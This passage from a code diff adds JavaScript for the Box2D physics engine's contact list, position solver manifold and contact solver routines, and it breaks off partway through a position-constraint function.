+Box2D.Dynamics.Contacts.b2ContactList.prototype.UpdateContact = function(contact, nonSensorEnabledTouching, nonSensorEnabledContinuous) {
+ if (nonSensorEnabledTouching) {
+ this.CreateNode(contact, contact.ID, Box2D.Dynamics.Contacts.b2ContactList.TYPES.nonSensorEnabledTouchingContacts);
+ } else {
+ this.RemoveNode(contact.ID, Box2D.Dynamics.Contacts.b2ContactList.TYPES.nonSensorEnabledTouchingContacts);
+ }
+ if (nonSensorEnabledContinuous) {
+ this.CreateNode(contact, contact.ID, Box2D.Dynamics.Contacts.b2ContactList.TYPES.nonSensorEnabledContinuousContacts);
+ } else {
+ this.RemoveNode(contact.ID, Box2D.Dynamics.Contacts.b2ContactList.TYPES.nonSensorEnabledContinuousContacts);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} contact
+ */
+Box2D.Dynamics.Contacts.b2ContactList.prototype.RemoveContact = function(contact) {
+ var contactID = contact.ID;
+ if (this.contactNodeLookup[contactID] != null) {
+ for(var i = 0; i <= Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts; i++) {
+ this.RemoveNode(contactID, i);
+ }
+ delete this.contactNodeLookup[contactID];
+ this.contactCount--;
+ }
+};
+/**
+ * @param {string} contactID
+ * @param {number} type
+ */
+Box2D.Dynamics.Contacts.b2ContactList.prototype.RemoveNode = function(contactID, type) {
+ var nodeList = this.contactNodeLookup[contactID];
+ if (nodeList == null) {
+ return;
+ }
+ var node = nodeList[type];
+ if (node == null) {
+ return;
+ }
+ nodeList[type] = null;
+ var prevNode = node.GetPreviousNode();
+ var nextNode = node.GetNextNode();
+ if (prevNode == null) {
+ this.contactFirstNodes[type] = nextNode;
+ } else {
+ prevNode.SetNextNode(nextNode);
+ }
+ if (nextNode == null) {
+ this.contactLastNodes[type] = prevNode;
+ } else {
+ nextNode.SetPreviousNode(prevNode);
+ }
+ Box2D.Dynamics.Contacts.b2ContactListNode.FreeNode(node);
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} contact
+ * @param {string} contactID
+ * @param {number} type
+ */
+Box2D.Dynamics.Contacts.b2ContactList.prototype.CreateNode = function(contact, contactID, type) {
+ var nodeList = this.contactNodeLookup[contactID];
+ if (nodeList[type] == null) {
+ nodeList[type] = Box2D.Dynamics.Contacts.b2ContactListNode.GetNode(contact);
+ var prevNode = this.contactLastNodes[type];
+ if (prevNode != null) {
+ prevNode.SetNextNode(nodeList[type]);
+ nodeList[type].SetPreviousNode(prevNode);
+ } else {
+ this.contactFirstNodes[type] = nodeList[type];
+ }
+ this.contactLastNodes[type] = nodeList[type];
+ }
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.Contacts.b2ContactList.prototype.GetContactCount = function() {
+ return this.contactCount;
+};
+/**
+ * @enum {number}
+ */
+Box2D.Dynamics.Contacts.b2ContactList.TYPES = {
+ nonSensorEnabledTouchingContacts: 0,
+ nonSensorEnabledContinuousContacts: 1,
+ allContacts: 2 // Assumed to be last by above code
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} contact
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode = function(contact) {
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2Contact}
+ */
+ this.contact = contact;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Contacts.b2ContactListNode}
+ */
+ this.next = null;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Contacts.b2ContactListNode}
+ */
+ this.previous = null;
+};
+/**
+ * @private
+ * @type {Array.
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.freeNodes = [];
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} contact
+ * @return {!Box2D.Dynamics.Contacts.b2ContactListNode}
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.GetNode = function(contact) {
+ if (Box2D.Dynamics.Contacts.b2ContactListNode.freeNodes.length > 0) {
+ var node = Box2D.Dynamics.Contacts.b2ContactListNode.freeNodes.pop();
+ node.next = null;
+ node.previous = null;
+ node.contact = contact;
+ return node;
+ } else {
+ return new Box2D.Dynamics.Contacts.b2ContactListNode(contact);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2ContactListNode} node
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.FreeNode = function(node) {
+ Box2D.Dynamics.Contacts.b2ContactListNode.freeNodes.push(node);
+};
+/**
+ * @param {Box2D.Dynamics.Contacts.b2ContactListNode} node
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.prototype.SetNextNode = function(node) {
+ this.next = node;
+};
+/**
+ * @param {Box2D.Dynamics.Contacts.b2ContactListNode} node
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.prototype.SetPreviousNode = function(node) {
+ this.previous = node;
+};
+/**
+ * @return {!Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.prototype.GetContact = function() {
+ return this.contact;
+};
+/**
+ * @return {Box2D.Dynamics.Contacts.b2ContactListNode}
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.prototype.GetNextNode = function() {
+ return this.next;
+};
+/**
+ * @return {Box2D.Dynamics.Contacts.b2ContactListNode}
+ */
+Box2D.Dynamics.Contacts.b2ContactListNode.prototype.GetPreviousNode = function() {
+ return this.previous;
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2ContactRegister = function () {
+ this.pool = null;
+ this.poolCount = 0;
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2PositionSolverManifold = function() {
+ this.m_normal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_separations = [];
+ this.m_points = [];
+ for (var i = 0; i < Box2D.Common.b2Settings.b2_maxManifoldPoints; i++) {
+ this.m_points[i] = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraint} cc
+ */
+Box2D.Dynamics.Contacts.b2PositionSolverManifold.prototype.Initialize = function(cc) {
+;
+ switch (cc.type) {
+ case Box2D.Collision.b2Manifold.e_circles:
+ this._InitializeCircles(cc);
+ break;
+ case Box2D.Collision.b2Manifold.e_faceA:
+ this._InitializeFaceA(cc);
+ break;
+ case Box2D.Collision.b2Manifold.e_faceB:
+ this._InitializeFaceB(cc);
+ break;
+ }
+};
+/**
+ * @private
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraint} cc
+ */
+Box2D.Dynamics.Contacts.b2PositionSolverManifold.prototype._InitializeCircles = function(cc) {
+ var tMat = cc.bodyA.m_xf.R;
+ var tVec = cc.localPoint;
+ var pointAX = cc.bodyA.m_xf.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ var pointAY = cc.bodyA.m_xf.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ tMat = cc.bodyB.m_xf.R;
+ tVec = cc.points[0].localPoint;
+ var pointBX = cc.bodyB.m_xf.position.x + (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ var pointBY = cc.bodyB.m_xf.position.y + (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ var dX = pointBX - pointAX;
+ var dY = pointBY - pointAY;
+ var d2 = dX * dX + dY * dY;
+ if (d2 > Box2D.Common.b2Settings.MIN_VALUE_SQUARED) {
+ var d = Math.sqrt(d2);
+ this.m_normal.x = dX / d;
+ this.m_normal.y = dY / d;
+ } else {
+ this.m_normal.x = 1.0;
+ this.m_normal.y = 0.0;
+ }
+ this.m_points[0].x = 0.5 * (pointAX + pointBX);
+ this.m_points[0].y = 0.5 * (pointAY + pointBY);
+ this.m_separations[0] = dX * this.m_normal.x + dY * this.m_normal.y - cc.radius;
+};
+/**
+ * @private
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraint} cc
+ */
+Box2D.Dynamics.Contacts.b2PositionSolverManifold.prototype._InitializeFaceA = function(cc) {
+ this.m_normal.x = cc.bodyA.m_xf.R.col1.x * cc.localPlaneNormal.x + cc.bodyA.m_xf.R.col2.x * cc.localPlaneNormal.y;
+ this.m_normal.y = cc.bodyA.m_xf.R.col1.y * cc.localPlaneNormal.x + cc.bodyA.m_xf.R.col2.y * cc.localPlaneNormal.y;
+ var planePointX = cc.bodyA.m_xf.position.x + (cc.bodyA.m_xf.R.col1.x * cc.localPoint.x + cc.bodyA.m_xf.R.col2.x * cc.localPoint.y);
+ var planePointY = cc.bodyA.m_xf.position.y + (cc.bodyA.m_xf.R.col1.y * cc.localPoint.x + cc.bodyA.m_xf.R.col2.y * cc.localPoint.y);
+ for (var i = 0; i < cc.pointCount; i++) {
+ var clipPointX = cc.bodyB.m_xf.position.x + (cc.bodyB.m_xf.R.col1.x * cc.points[i].localPoint.x + cc.bodyB.m_xf.R.col2.x * cc.points[i].localPoint.y);
+ var clipPointY = cc.bodyB.m_xf.position.y + (cc.bodyB.m_xf.R.col1.y * cc.points[i].localPoint.x + cc.bodyB.m_xf.R.col2.y * cc.points[i].localPoint.y);
+ this.m_separations[i] = (clipPointX - planePointX) * this.m_normal.x + (clipPointY - planePointY) * this.m_normal.y - cc.radius;
+ this.m_points[i].x = clipPointX;
+ this.m_points[i].y = clipPointY;
+ }
+};
+/**
+ * @private
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraint} cc
+ */
+Box2D.Dynamics.Contacts.b2PositionSolverManifold.prototype._InitializeFaceB = function(cc) {
+ this.m_normal.x = cc.bodyB.m_xf.R.col1.x * cc.localPlaneNormal.x + cc.bodyB.m_xf.R.col2.x * cc.localPlaneNormal.y;
+ this.m_normal.y = cc.bodyB.m_xf.R.col1.y * cc.localPlaneNormal.x + cc.bodyB.m_xf.R.col2.y * cc.localPlaneNormal.y;
+ var planePointX = cc.bodyB.m_xf.position.x + (cc.bodyB.m_xf.R.col1.x * cc.localPoint.x + cc.bodyB.m_xf.R.col2.x * cc.localPoint.y);
+ var planePointY = cc.bodyB.m_xf.position.y + (cc.bodyB.m_xf.R.col1.y * cc.localPoint.x + cc.bodyB.m_xf.R.col2.y * cc.localPoint.y);
+ for (var i = 0; i < cc.pointCount; i++) {
+ var clipPointX = cc.bodyA.m_xf.position.x + (cc.bodyA.m_xf.R.col1.x * cc.points[i].localPoint.x + cc.bodyA.m_xf.R.col2.x * cc.points[i].localPoint.y);
+ var clipPointY = cc.bodyA.m_xf.position.y + (cc.bodyA.m_xf.R.col1.y * cc.points[i].localPoint.x + cc.bodyA.m_xf.R.col2.y * cc.points[i].localPoint.y);
+ this.m_separations[i] = (clipPointX - planePointX) * this.m_normal.x + (clipPointY - planePointY) * this.m_normal.y - cc.radius;
+ this.m_points[i].Set(clipPointX, clipPointY);
+ }
+ this.m_normal.x *= -1;
+ this.m_normal.y *= -1;
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Contacts.b2ContactSolver = function() {
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_constraints = [];
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @param {Array.} contacts
+ * @param {number} contactCount
+ */
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.Initialize = function(step, contacts, contactCount) {
+ this.m_constraintCount = contactCount;
+ while (this.m_constraints.length < this.m_constraintCount) {
+ this.m_constraints[this.m_constraints.length] = new Box2D.Dynamics.Contacts.b2ContactConstraint();
+ }
+ for (var i = 0; i < contactCount; i++) {
+ var contact = contacts[i];
+ var fixtureA = contact.m_fixtureA;
+ var fixtureB = contact.m_fixtureB;
+ var shapeA = fixtureA.m_shape;
+ var shapeB = fixtureB.m_shape;
+ var radiusA = shapeA.m_radius;
+ var radiusB = shapeB.m_radius;
+ var bodyA = fixtureA.GetBody();
+ var bodyB = fixtureB.GetBody();
+ var manifold = contact.GetManifold();
+ var friction = Box2D.Common.b2Settings.b2MixFriction(fixtureA.GetFriction(), fixtureB.GetFriction());
+ var restitution = Box2D.Common.b2Settings.b2MixRestitution(fixtureA.GetRestitution(), fixtureB.GetRestitution());
+ var vAX = bodyA.m_linearVelocity.x;
+ var vAY = bodyA.m_linearVelocity.y;
+ var vBX = bodyB.m_linearVelocity.x;
+ var vBY = bodyB.m_linearVelocity.y;
+ var wA = bodyA.m_angularVelocity;
+ var wB = bodyB.m_angularVelocity;
+;
+ Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold.Initialize(manifold, bodyA.m_xf, radiusA, bodyB.m_xf, radiusB);
+ var normalX = Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold.m_normal.x;
+ var normalY = Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold.m_normal.y;
+ var cc = this.m_constraints[i];
+ cc.bodyA = bodyA;
+ cc.bodyB = bodyB;
+ cc.manifold = manifold;
+ cc.normal.x = normalX;
+ cc.normal.y = normalY;
+ cc.pointCount = manifold.m_pointCount;
+ cc.friction = friction;
+ cc.restitution = restitution;
+ cc.localPlaneNormal.x = manifold.m_localPlaneNormal.x;
+ cc.localPlaneNormal.y = manifold.m_localPlaneNormal.y;
+ cc.localPoint.x = manifold.m_localPoint.x;
+ cc.localPoint.y = manifold.m_localPoint.y;
+ cc.radius = radiusA + radiusB;
+ cc.type = manifold.m_type;
+ for (var k = 0; k < cc.pointCount; ++k) {
+ var cp = manifold.m_points[k];
+ var ccp = cc.points[k];
+ ccp.normalImpulse = cp.m_normalImpulse;
+ ccp.tangentImpulse = cp.m_tangentImpulse;
+ ccp.localPoint.SetV(cp.m_localPoint);
+ var rAX = ccp.rA.x = Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold.m_points[k].x - bodyA.m_sweep.c.x;
+ var rAY = ccp.rA.y = Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold.m_points[k].y - bodyA.m_sweep.c.y;
+ var rBX = ccp.rB.x = Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold.m_points[k].x - bodyB.m_sweep.c.x;
+ var rBY = ccp.rB.y = Box2D.Dynamics.Contacts.b2ContactSolver.s_worldManifold.m_points[k].y - bodyB.m_sweep.c.y;
+ var rnA = rAX * normalY - rAY * normalX;
+ var rnB = rBX * normalY - rBY * normalX;
+ rnA *= rnA;
+ rnB *= rnB;
+ var kNormal = bodyA.m_invMass + bodyB.m_invMass + bodyA.m_invI * rnA + bodyB.m_invI * rnB;
+ ccp.normalMass = 1.0 / kNormal;
+ var kEqualized = bodyA.m_mass * bodyA.m_invMass + bodyB.m_mass * bodyB.m_invMass;
+ kEqualized += bodyA.m_mass * bodyA.m_invI * rnA + bodyB.m_mass * bodyB.m_invI * rnB;
+ ccp.equalizedMass = 1.0 / kEqualized;
+ var tangentX = normalY;
+ var tangentY = (-normalX);
+ var rtA = rAX * tangentY - rAY * tangentX;
+ var rtB = rBX * tangentY - rBY * tangentX;
+ rtA *= rtA;
+ rtB *= rtB;
+ var kTangent = bodyA.m_invMass + bodyB.m_invMass + bodyA.m_invI * rtA + bodyB.m_invI * rtB;
+ ccp.tangentMass = 1.0 / kTangent;
+ ccp.velocityBias = 0.0;
+ var tX = vBX + ((-wB * rBY)) - vAX - ((-wA * rAY));
+ var tY = vBY + (wB * rBX) - vAY - (wA * rAX);
+ var vRel = cc.normal.x * tX + cc.normal.y * tY;
+ if (vRel < (-Box2D.Common.b2Settings.b2_velocityThreshold)) {
+ ccp.velocityBias += (-cc.restitution * vRel);
+ }
+ }
+ if (cc.pointCount == 2) {
+ var ccp1 = cc.points[0];
+ var ccp2 = cc.points[1];
+ var invMassA = bodyA.m_invMass;
+ var invIA = bodyA.m_invI;
+ var invMassB = bodyB.m_invMass;
+ var invIB = bodyB.m_invI;
+ var rn1A = ccp1.rA.x * normalY - ccp1.rA.y * normalX;
+ var rn1B = ccp1.rB.x * normalY - ccp1.rB.y * normalX;
+ var rn2A = ccp2.rA.x * normalY - ccp2.rA.y * normalX;
+ var rn2B = ccp2.rB.x * normalY - ccp2.rB.y * normalX;
+ var k11 = invMassA + invMassB + invIA * rn1A * rn1A + invIB * rn1B * rn1B;
+ var k22 = invMassA + invMassB + invIA * rn2A * rn2A + invIB * rn2B * rn2B;
+ var k12 = invMassA + invMassB + invIA * rn1A * rn2A + invIB * rn1B * rn2B;
+ var k_maxConditionNumber = 100.0;
+ if (k11 * k11 < k_maxConditionNumber * (k11 * k22 - k12 * k12)) {
+ cc.K.col1.Set(k11, k12);
+ cc.K.col2.Set(k12, k22);
+ cc.K.GetInverse(cc.normalMass);
+ } else {
+ cc.pointCount = 1;
+ }
+ }
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ */
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.InitVelocityConstraints = function(step) {
+ for (var i = 0; i < this.m_constraintCount; ++i) {
+ var c = this.m_constraints[i];
+ var bodyA = c.bodyA;
+ var bodyB = c.bodyB;
+ var invMassA = bodyA.m_invMass;
+ var invIA = bodyA.m_invI;
+ var invMassB = bodyB.m_invMass;
+ var invIB = bodyB.m_invI;
+ var normalX = c.normal.x;
+ var normalY = c.normal.y;
+ var tangentX = normalY;
+ var tangentY = (-normalX);
+ var tX = 0;
+ var j = 0;
+ var tCount = 0;
+ if (step.warmStarting) {
+ tCount = c.pointCount;
+ for (j = 0; j < tCount; ++j) {
+ var ccp = c.points[j];
+ ccp.normalImpulse *= step.dtRatio;
+ ccp.tangentImpulse *= step.dtRatio;
+ var PX = ccp.normalImpulse * normalX + ccp.tangentImpulse * tangentX;
+ var PY = ccp.normalImpulse * normalY + ccp.tangentImpulse * tangentY;
+ bodyA.m_angularVelocity -= invIA * (ccp.rA.x * PY - ccp.rA.y * PX);
+ bodyA.m_linearVelocity.x -= invMassA * PX;
+ bodyA.m_linearVelocity.y -= invMassA * PY;
+ bodyB.m_angularVelocity += invIB * (ccp.rB.x * PY - ccp.rB.y * PX);
+ bodyB.m_linearVelocity.x += invMassB * PX;
+ bodyB.m_linearVelocity.y += invMassB * PY;
+ }
+ } else {
+ tCount = c.pointCount;
+ for (j = 0; j < tCount; ++j) {
+ var ccp2 = c.points[j];
+ ccp2.normalImpulse = 0.0;
+ ccp2.tangentImpulse = 0.0;
+ }
+ }
+ }
+};
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.SolveVelocityConstraints = function() {
+ for (var i = 0; i < this.m_constraintCount; i++) {
+ this.SolveVelocityConstraints_Constraint(this.m_constraints[i]);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraint} c
+ */
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.SolveVelocityConstraints_Constraint = function(c) {
+ var normalX = c.normal.x;
+ var normalY = c.normal.y;
+ for (var j = 0; j < c.pointCount; j++) {
+ Box2D.Dynamics.Contacts.b2ContactSolver.prototype.SolveVelocityConstraints_ConstraintPoint(c, c.points[j]);
+ }
+ if (c.pointCount == 1) {
+ var ccp = c.points[0];
+ var dvX = c.bodyB.m_linearVelocity.x - (c.bodyB.m_angularVelocity * ccp.rB.y) - c.bodyA.m_linearVelocity.x + (c.bodyA.m_angularVelocity * ccp.rA.y);
+ var dvY = c.bodyB.m_linearVelocity.y + (c.bodyB.m_angularVelocity * ccp.rB.x) - c.bodyA.m_linearVelocity.y - (c.bodyA.m_angularVelocity * ccp.rA.x);
+ var vn = dvX * normalX + dvY * normalY;
+ var newImpulse = ccp.normalImpulse - (ccp.normalMass * (vn - ccp.velocityBias));
+ newImpulse = newImpulse > 0 ? newImpulse : 0.0;
+ var impulseLambda = newImpulse - ccp.normalImpulse;
+ var PX = impulseLambda * normalX;
+ var PY = impulseLambda * normalY;
+ c.bodyA.m_linearVelocity.x -= c.bodyA.m_invMass * PX;
+ c.bodyA.m_linearVelocity.y -= c.bodyA.m_invMass * PY;
+ c.bodyA.m_angularVelocity -= c.bodyA.m_invI * (ccp.rA.x * PY - ccp.rA.y * PX);
+ c.bodyB.m_linearVelocity.x += c.bodyB.m_invMass * PX;
+ c.bodyB.m_linearVelocity.y += c.bodyB.m_invMass * PY;
+ c.bodyB.m_angularVelocity += c.bodyB.m_invI * (ccp.rB.x * PY - ccp.rB.y * PX);
+ ccp.normalImpulse = newImpulse;
+ } else {
+ var cp1 = c.points[0];
+ var cp2 = c.points[1];
+ var aX = cp1.normalImpulse;
+ var aY = cp2.normalImpulse;
+ var dv1X = c.bodyB.m_linearVelocity.x - c.bodyB.m_angularVelocity * cp1.rB.y - c.bodyA.m_linearVelocity.x + c.bodyA.m_angularVelocity * cp1.rA.y;
+ var dv1Y = c.bodyB.m_linearVelocity.y + c.bodyB.m_angularVelocity * cp1.rB.x - c.bodyA.m_linearVelocity.y - c.bodyA.m_angularVelocity * cp1.rA.x;
+ var dv2X = c.bodyB.m_linearVelocity.x - c.bodyB.m_angularVelocity * cp2.rB.y - c.bodyA.m_linearVelocity.x + c.bodyA.m_angularVelocity * cp2.rA.y;
+ var dv2Y = c.bodyB.m_linearVelocity.y + c.bodyB.m_angularVelocity * cp2.rB.x - c.bodyA.m_linearVelocity.y - c.bodyA.m_angularVelocity * cp2.rA.x;
+ var bX = (dv1X * normalX + dv1Y * normalY) - cp1.velocityBias;
+ var bY = (dv2X * normalX + dv2Y * normalY) - cp2.velocityBias;
+ bX -= c.K.col1.x * aX + c.K.col2.x * aY;
+ bY -= c.K.col1.y * aX + c.K.col2.y * aY;
+ for (;;) {
+ var firstX = (-(c.normalMass.col1.x * bX + c.normalMass.col2.x * bY));
+ if (firstX >= 0) {
+ var firstY = (-(c.normalMass.col1.y * bX + c.normalMass.col2.y * bY));
+ if(firstY >= 0) {
+ var dX = firstX - aX;
+ var dY = firstY - aY;
+ this.SolveVelocityConstraints_ConstraintPointUpdate(c, cp1, cp2, firstX - aX, firstY - aY);
+ cp1.normalImpulse = firstX;
+ cp2.normalImpulse = firstY;
+ break;
+ }
+ }
+ var secondX = (-cp1.normalMass * bX);
+ if (secondX >= 0) {
+ if ((c.K.col1.y * secondX + bY) >= 0) {
+ var dX = secondX - aX;
+ var dY = -aY;
+ this.SolveVelocityConstraints_ConstraintPointUpdate(c, cp1, cp2, secondX - aX, -aY);
+ cp1.normalImpulse = secondX;
+ cp2.normalImpulse = 0;
+ break;
+ }
+ }
+ var secondY = (-cp2.normalMass * bY);
+ if (secondY >= 0) {
+ if ((c.K.col2.x * secondY + bX) >= 0) {
+ this.SolveVelocityConstraints_ConstraintPointUpdate(c, cp1, cp2, -aX, secondY - aY);
+ cp1.normalImpulse = 0;
+ cp2.normalImpulse = secondY;
+ break;
+ }
+ }
+ if (bX >= 0 && bY >= 0) {
+ this.SolveVelocityConstraints_ConstraintPointUpdate(c, cp1, cp2, -aX, -aY);
+ cp1.normalImpulse = 0;
+ cp2.normalImpulse = 0;
+ break;
+ }
+ break;
+ }
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraint} c
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraintPoint} ccp
+ */
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.SolveVelocityConstraints_ConstraintPoint = function(c, ccp) {
+ var tangentX = c.normal.y;
+ var tangentY = -c.normal.x;
+ var dvX = c.bodyB.m_linearVelocity.x - c.bodyB.m_angularVelocity * ccp.rB.y - c.bodyA.m_linearVelocity.x + c.bodyA.m_angularVelocity * ccp.rA.y;
+ var dvY = c.bodyB.m_linearVelocity.y + c.bodyB.m_angularVelocity * ccp.rB.x - c.bodyA.m_linearVelocity.y - c.bodyA.m_angularVelocity * ccp.rA.x;
+ var vt = dvX * tangentX + dvY * tangentY;
+ var maxFriction = c.friction * ccp.normalImpulse;
+ var newImpulse = Box2D.Common.Math.b2Math.Clamp(ccp.tangentImpulse - ccp.tangentMass * vt, -maxFriction, maxFriction);
+ var impulseLambda = newImpulse - ccp.tangentImpulse;
+ var PX = impulseLambda * tangentX;
+ var PY = impulseLambda * tangentY;
+ c.bodyA.m_linearVelocity.x -= c.bodyA.m_invMass * PX;
+ c.bodyA.m_linearVelocity.y -= c.bodyA.m_invMass * PY;
+ c.bodyA.m_angularVelocity -= c.bodyA.m_invI * (ccp.rA.x * PY - ccp.rA.y * PX);
+ c.bodyB.m_linearVelocity.x += c.bodyB.m_invMass * PX;
+ c.bodyB.m_linearVelocity.y += c.bodyB.m_invMass * PY;
+ c.bodyB.m_angularVelocity += c.bodyB.m_invI * (ccp.rB.x * PY - ccp.rB.y * PX);
+ ccp.tangentImpulse = newImpulse;
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraint} c
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraintPoint} cp1
+ * @param {!Box2D.Dynamics.Contacts.b2ContactConstraintPoint} cp2
+ * @param {number} dX
+ * @param {number} dY
+ */
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.SolveVelocityConstraints_ConstraintPointUpdate = function(c, cp1, cp2, dX, dY) {
+ var P1X = dX * c.normal.x;
+ var P1Y = dX * c.normal.y;
+ var P2X = dY * c.normal.x;
+ var P2Y = dY * c.normal.y;
+ c.bodyA.m_linearVelocity.x -= c.bodyA.m_invMass * (P1X + P2X);
+ c.bodyA.m_linearVelocity.y -= c.bodyA.m_invMass * (P1Y + P2Y);
+ c.bodyA.m_angularVelocity -= c.bodyA.m_invI * (cp1.rA.x * P1Y - cp1.rA.y * P1X + cp2.rA.x * P2Y - cp2.rA.y * P2X);
+ c.bodyB.m_linearVelocity.x += c.bodyB.m_invMass * (P1X + P2X);
+ c.bodyB.m_linearVelocity.y += c.bodyB.m_invMass * (P1Y + P2Y);
+ c.bodyB.m_angularVelocity += c.bodyB.m_invI * (cp1.rB.x * P1Y - cp1.rB.y * P1X + cp2.rB.x * P2Y - cp2.rB.y * P2X);
+ cp1.normalImpulse = 0;
+ cp2.normalImpulse = 0;
+};
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.FinalizeVelocityConstraints = function() {
+ for (var i = 0; i < this.m_constraintCount; ++i) {
+ var c = this.m_constraints[i];
+ var m = c.manifold;
+ for (var j = 0; j < c.pointCount; ++j) {
+ var point1 = m.m_points[j];
+ var point2 = c.points[j];
+ point1.m_normalImpulse = point2.normalImpulse;
+ point1.m_tangentImpulse = point2.tangentImpulse;
+ }
+ }
+};
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var minSeparation = 0.0;
+ for (var i = 0; i < this.m_constraintCount; i++) {
+ var c = this.m_constraints[i];
+ var bodyA = c.bodyA;
+ var bodyB = c.bodyB;
+ var invMassA = bodyA.m_mass * bodyA.m_invMass;
+ var invIA = bodyA.m_mass * bodyA.m_invI;
+ var invMassB = bodyB.m_mass * bodyB.m_invMass;
+ var invIB = bodyB.m_mass * bodyB.m_invI;
+ Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.Initialize(c);
+ var normal = Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.m_normal;
+ for (var j = 0; j < c.pointCount; j++) {
+ var ccp = c.points[j];
+ var point = Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.m_points[j];
+ var separation = Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.m_separations[j];
+ var rAX = point.x - bodyA.m_sweep.c.x;
+ var rAY = point.y - bodyA.m_sweep.c.y;
+ var rBX = point.x - bodyB.m_sweep.c.x;
+ var rBY = point.y - bodyB.m_sweep.c.y;
+ minSeparation = minSeparation < separation ? minSeparation : separation;
+ var C = Box2D.Common.Math.b2Math.Clamp(baumgarte * (separation + Box2D.Common.b2Settings.b2_linearSlop), (-Box2D.Common.b2Settings.b2_maxLinearCorrection), 0.0);
+ var impulse = (-ccp.equalizedMass * C);
+ var PX = impulse * normal.x;
+ var PY = impulse * normal.y;
+ bodyA.m_sweep.c.x -= invMassA * PX;
+ bodyA.m_sweep.c.y -= invMassA * PY;
+ bodyA.m_sweep.a -= invIA * (rAX * PY - rAY * PX);
+ bodyA.SynchronizeTransform();
+ bodyB.m_sweep.c.x += invMassB * PX;
+ bodyB.m_sweep.c.y += invMassB * PY;
+ bodyB.m_sweep.a += invIB * (rBX * PY - rBY * PX);
+ bodyB.SynchronizeTransform();
+ }
+ }
+ return minSeparation > (-1.5 * Box2D.Common.b2Settings.b2_linearSlop);
+};
+Box2D.Dynamics.Contacts.b2ContactSolver.prototype.SolvePositionConstraints_NEW = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var minSeparation = 0.0;
+ for (var i = 0; i < this.m_constraintCount; i++) {
+ var c = this.m_constraints[i];
+ var bodyA = c.bodyA;
+ var bodyB = c.bodyB;
+ var invMassA = bodyA.m_mass * bodyA.m_invMass;
+ var invIA = bodyA.m_mass * bodyA.m_invI;
+ var invMassB = bodyB.m_mass * bodyB.m_invMass;
+ var invIB = bodyB.m_mass * bodyB.m_invI;
+ Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.Initialize(c);
+ var normal = Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.m_normal;
+ for (var j = 0; j < c.pointCount; j++) {
+ var ccp = c.points[j];
+ var point = Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.m_points[j];
+ var separation = Box2D.Dynamics.Contacts.b2ContactSolver.s_psm.m_separations[j];
+ var rAX = point.x - bodyA.m_sweep.c.x;
+ var rAY = point.y - bodyA.m_sweep.c.y;
+ var rBX = point.x - bodyB.m_sweep.c.x;
+ var rBY = point.y - bodyB.m_sweep.c.y;
+ if (separation < minSeparation) {
+ minSeparation = separation;
+ }
+ var C = 0;
+ if (baumgarte != 0) {
